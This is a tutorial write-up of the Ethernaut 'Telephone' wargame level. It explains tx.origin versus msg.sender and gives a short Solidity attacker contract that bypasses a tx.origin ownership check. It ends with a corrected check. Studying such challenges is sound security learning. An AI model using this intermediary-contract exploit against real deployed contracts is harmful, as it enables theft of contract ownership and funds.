Ethernaut - Lvl 4: Telephone
Tags: security, ethereum, solidity, tutorial
Published: 2023-05-31 16:32:33

###### _Requirement: understand the difference between `msg.sender` and `tx.origin`_.

## The challenge 🚣‍♀️🚣

Claim ownership of the following contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
```
### Contract overview 🔎

`Telephone.sol` is a basic contract, at creation time the `constructor` sets the `owner` as the deployer of the contract.

The contract has a `changeOwner` function that takes `address owner` as a parameter to set a new owner of the contract. 

To prevent unauthorized accounts from transfering the ownership of the contract, the following safeguard is implemented to protect the function:

```solidity
if (tx.origin != msg.sender) {
  owner = _owner;
}
```
This is done to ensure only the `owner` can transfer ownership.

If we try to call `changeOwner` with our address, this transaction will not revert but the owner of the contract will remain the same because `tx.origin` and `msg.sender` are both our address.

## Who are `tx.origin` and `msg.sender`? 📞☎️

`tx.origin` and `msg.sender` are built-in global variables from the language.

These variables can de defined as such:
- `tx.origin`: is the address of the Externally Owned Account (EOA) that originally sent the transaction. It can only be an account that know its private key.
- `msg.sender`: is the direct sender of the message, it can be an EOA or a contract.

Let's review the following basic call chain:

EOA ---> contract A ---> contract B

In this transaction an EOA initiated a transaction to call a function in A that calls a function in B. 

Therefore:
- In A: `tx.origin` == `msg.sender` == EOA.
- In B: `tx.origin` == EOA but `msg.sender` == contract A.

## Claiming ownership of `Telephone.sol` 👸🤴

After my brief explanation we can see that all we need to bypass the safeguard is an intermediate contract to call `changeOwner`.

Go to Remix and create a file with the following code:

```solidity
interface ITelephone {
    function changeOwner(address _owner) external;
}

contract Attacker {
    function attack(address _victim) external {
        ITelephone(_victim).changeOwner(msg.sender);
    }
}
```

`Attacker` has a single `attack` function that calls the `changeOwner` function from `Telephone` with our address passed as `msg.sender`.

Ok, let's do this -- get a new instance of `Telephone` from the game contract and grab the address.

Deploy `Attacker` and call `attack` with the address of `Telephone` as the parameter.

After the transaction is mined, in your developer tools check who owns the contract:
```solidity
await contract.owner() // it should return your address
```

## Conclusion ⭐️

Using `tx.origin` for authorization proved to be a poor defense mechanism, it only takes a intermediate contract to bypass it. A better solution would've been checking `msg.sender` against the `owner` of the contract, making sure only the owner can set a new owner:

```solidity
if (owner == msg.sender) {
  owner = _owner;
}
```

## Further reading 📕📗
- Solidity docs: [Special Variables and Functions](https://docs.soliditylang.org/en/latest/units-and-global-variables.html#special-variables-and-functions)
- Solidity docs: [Security considerations](https://docs.soliditylang.org/en/latest/security-considerations.html#tx-origin)
- [How do I make my DAPP "Serenity-Proof?"](https://ethereum.stackexchange.com/questions/196/how-do-i-make-my-dapp-serenity-proof/200#200)
- [Ethereum Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/tx-origin/)